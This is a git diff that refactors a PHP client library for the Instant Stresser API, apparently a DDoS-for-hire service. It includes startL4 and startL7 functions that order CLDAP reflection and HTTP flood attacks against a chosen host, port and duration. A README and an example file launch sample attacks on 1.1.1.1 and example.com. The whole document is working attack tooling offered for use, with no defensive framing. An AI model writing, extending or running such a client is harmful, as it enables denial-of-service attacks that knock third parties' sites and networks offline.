diff --git a/API.php b/API.php deleted file mode 100644 index 03b2741..0000000 --- a/API.php +++ /dev/null @@ -1,130 +0,0 @@ -userID = $userID; - $this->apiKey = $key; - try { - if(empty($this->userID) || empty($this->apiKey)){ - throw new Exception('UserID and API Key must be defined.'); - } - } catch (Exception $e) { - exit($e->getMessage()); - } - } - - public function __destruct() { - if (!is_null($this->curl_handle)){ - curl_close($this->curl_handle); - } - } - - /** - * @param string $host - * @param int $port - * @param int $time - * @param string $method - * @param int $slots - * @param int $pps - * @return string - */ - - public function startL4($host, $port, $time, $method, $slots = 1, $pps = 100000){ - $postdata = [ - 'host' => $host, - 'port' => $port, - 'time' => $time, - 'method' => $method, - 'slots' => $slots, - 'pps' => $pps - ]; - return $this->send($postdata); - } - - /** - * @param string $host - * @param int $time - * @param string $method - * @param int $slots - * @param string $type - * @param bool $ratelimit - * @return string - */ - - public function startL7($host, $time, $method, $slots = 1, $type = "GET", $ratelimit = false){ - $postdata = [ - 'host' => $host, - 'time' => $time, - 'method' => $method, - 'slots' => $slots, - 'type' => $type, - 'ratelimit' => $ratelimit - ]; - return $this->send($postdata); - } - - /** - * @param string $host - * @return string - */ - - public function stopAttack($host){ - $postdata = [ - 'host' => $host - ]; - return $this->send($postdata, "stop"); - } - - /** - * @param array $parameters - * @param string $action - * @return string - */ - - private function send(array $parameters = [], $action = "start"){ - $api_url = "https://api.instant-stresser.com/" . $action; - $parameters['user'] = $this->userID; - $parameters['api_key'] = $this->apiKey; - $parameters = http_build_query($parameters, '', '&'); - if(is_null($this->curl_handle)){ - $this->curl_handle = curl_init($api_url); - curl_setopt($this->curl_handle, CURLOPT_RETURNTRANSFER, TRUE); - curl_setopt($this->curl_handle, CURLOPT_SSL_VERIFYPEER, FALSE); - curl_setopt($this->curl_handle, CURLOPT_ENCODING, ""); - curl_setopt($this->curl_handle, CURLOPT_MAXREDIRS, 10); - curl_setopt($this->curl_handle, CURLOPT_HTTP_VERSION, CURL_HTTP_VERSION_1_1); - curl_setopt($this->curl_handle, CURLOPT_POST, 1); - curl_setopt($this->curl_handle, CURLOPT_POSTFIELDS, $parameters); - curl_setopt($this->curl_handle, CURLOPT_HTTPHEADER , array("cache-control: no-cache", "content-type: application/x-www-form-urlencoded")); - } - switch($response = curl_exec($this->curl_handle)){ - case false: - return curl_error($this->curl_handle); - break; - default: - $response = json_decode($response, true); - return $response["message"]; - break; - } - } -} - - -?> diff --git a/InstantStresserApi.php b/InstantStresserApi.php new file mode 100644 index 0000000..c1e3823 --- /dev/null +++ b/InstantStresserApi.php @@ -0,0 +1,132 @@ +userId = $userId; + $this->apiKey = $key; + + if(empty($this->userId) || empty($this->apiKey)) + { + throw new Exception('UserId and API Key must be defined.'); + } + } + + public function __destruct() + { + if (!is_null($this->curlHandler)) + { + curl_close($this->curlHandler); + } + } + + /** + * @param $host + * @param $port + * @param $time + * @param $method + * @param int $slots + * @param int $pps + * @return string + */ + public function startL4($host, $port, $time, $method, $slots = 1, $pps = 100000) + { + return $this->send([ + 'host' => $host, + 'port' => $port, + 'time' => $time, + 'method' => $method, + 'slots' => $slots, + 'pps' => $pps + ]); + } + + /** + * @param $host + * @param $time + * @param $method + * @param int $slots + * @param string $type + * @param bool $ratelimit + * @return string + */ + public function startL7($host, $time, $method, $slots = 1, $type = "GET", $rateLimit = false) + { + return $this->send([ + 'host' => $host, + 'time' => $time, + 'method' => $method, + 'slots' => $slots, + 'type' => $type, + 'ratelimit' => $rateLimit + ]); + } + + public function stop($host) + { + return $this->send([ + 'host' => $host + ], "stop"); + } + + /** + * @param array $parameters + * @param string $action + * @return string + */ + + private function send(array $parameters = [], $action = 'start') + { + $parameters['user'] = $this->userId; + $parameters['api_key'] = $this->apiKey; + $parameters = http_build_query($parameters, '', '&'); + + if(is_null($this->curlHandler)) + { + $this->curlHandler = curl_init(self::API_URL . $action); + curl_setopt($this->curlHandler, CURLOPT_RETURNTRANSFER, TRUE); + // CURLOPT_SSL_VERIFYPEER only available on PHP >= 7.1 + //curl_setopt($this->curlHandler, CURLOPT_SSL_VERIFYPEER, FALSE); + curl_setopt($this->curlHandler, CURLOPT_ENCODING, ''); + curl_setopt($this->curlHandler, CURLOPT_MAXREDIRS, 10); + curl_setopt($this->curlHandler, CURLOPT_HTTP_VERSION, CURL_HTTP_VERSION_1_1); + curl_setopt($this->curlHandler, CURLOPT_POST, 1); + curl_setopt($this->curlHandler, CURLOPT_POSTFIELDS, $parameters); + curl_setopt($this->curlHandler, CURLOPT_HTTPHEADER , ['cache-control: no-cache', 'content-type: application/x-www-form-urlencoded']); + } + + switch($response = curl_exec($this->curlHandler)) + { + case false: + return curl_error($this->curlHandler); + break; + default: + $response = json_decode($response, true); + return $response['message']; + break; + } + } +} + + +?> diff --git a/README.md b/README.md index b3a7cd7..51a0055 100644 --- a/README.md +++ b/README.md @@ -10,9 +10,9 @@ Available here : https://instant-stresser.com/help/methodsdoc ## Authentication ```php -require 'API.php'; +require 'InstantStresserApi.php'; // UserID and API Key generated from API Manager website. -$api = new API("UserID", "your-apikey"); +$api = new InstantStresser\InstantStresserApi("UserID", "your-apikey"); ``` ## Layer 4 Attack @@ -28,10 +28,6 @@ $response = $api->startL7("https://example.com/", 15, "HTTP1", 1, "GET", false); ## Stop Attack ```php /* Parameters : Host. */ -$response = $api->stopAttack("1.1.1.1"); -``` - -## API Response -```php +$response = $api->stop("1.1.1.1"); echo $response; // Get API response. ``` diff --git a/example.php b/example.php new file mode 100644 index 0000000..ed6e6a5 --- /dev/null +++ b/example.php @@ -0,0 +1,9 @@ +startL4('1.1.1.1', 80, 15, 'CLDAP', 1, 100000); +$api->startL7('https://example.com/', 15, 'HTTP1', 1, 'GET', false); +$api->stop('1.1.1.1');